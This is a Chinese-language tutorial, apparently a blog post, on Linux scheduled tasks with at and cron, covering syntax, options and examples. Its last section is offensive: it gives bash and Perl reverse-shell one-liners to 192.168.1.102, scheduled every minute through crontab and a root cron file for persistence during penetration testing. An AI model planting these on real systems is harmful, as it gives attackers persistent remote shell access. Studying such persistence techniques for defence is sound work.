Linux定时任务

Linux中的定时任务

主要是为了在Linux中进行一些定时操作,定时任务在平时见到的挖矿中比较多,在渗透中定时任务可以用在反弹shell,在这里记录放在再被网上的坑爹文章误导了

计划任务主要分为定时型的还有突发性的

定时任务——突发性

at:它是一个可以处理仅执行一次就结束的指令

at语法格式:at 时间

安装at sudo apt-get update && sudo apt-get install at

启动服务 sudo systemctl restart atd

at计划任务的特殊写法

1
2
3
4
5
6
7
at 20:00 2018-10-1 在某天

at now +10min 在 10分钟后执行

at 17:00 tomorrow 明天下午5点执行

at 6:00 pm +3 days 在3天以后的下午6点执行

实例:重定向字符串到一个txt中

1
2
3
4
at now + 1min 
warning: commands will be executed using /bin/sh
at> echo "at_test" >> ./ats.txt
#然后按 ctrl + d保存

删除计划任务

1
2
3
atq
atrm 任务编号
atq

定时任务——定时性

有两种方式:cron和crontab,两种在写配置文件时语法基本一致,唯一不同点在与使用cron时在/etc/cron.d/目录下写的定时任务的文件中必须要带上执行定时任务的用户,任务才可以执行;而crontab可以不用执行用户即可执行,使用场景不一样,但是一般在反弹shell时使用写入配置文件比较好。

crontab定时任务的使用

语法:#crontab -u -e

常用选项:

-l:list,列出指定用户的计划任务列表

-e:edit,编辑指定用户的计划任务列表

-u:user,指定的用户名,如果不指定,则表示当前用户

-r:remove,删除指定用户的计划任务列表

查看计划任务: crontab -l

编写计划任务: crontab -e

计划任务的规则语法格式,以行为单位,一行为一个计划:

分 时 日 月 周 需要执行的命令

执行的命令建议写成绝对路径的格式!

取值范围(常识):

分:0~59

时:0~23

日:1~31

月:1~12

周:0~7,0和7表示星期天

四个符号:

*:表示取值范围中的每一个数字

-:做连续区间表达式的,要想表示1~7,则可以写成:1-7

/:表示每多少个,例如:想每10分钟一次,则可以在分的位置写:*/10

,:表示多个取值,比如想在1点,2点6点执行,则可以在时的位置写:1,2,6

删除命令: crontab -r

实例:利用crontab写入计划任务反弹shell(每隔一分钟执行一次)

bash反弹shell指令在计划任务中不太好使,利用Perl加载

1
2
3
bash -i >& /dev/tcp/192.168.1.102/8888 0>&1

*/1 * * * * /usr/bin/perl -e 'use Socket;$i="192.168.1.102";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

crontab -e写入计划任务

写入/etc/cron.d目录(常用)

1
2
3
cd /etc/cron.d
vim root
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.1.102";$p=8889;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

参考

https://www.cnblogs.com/getbird/p/10857254.html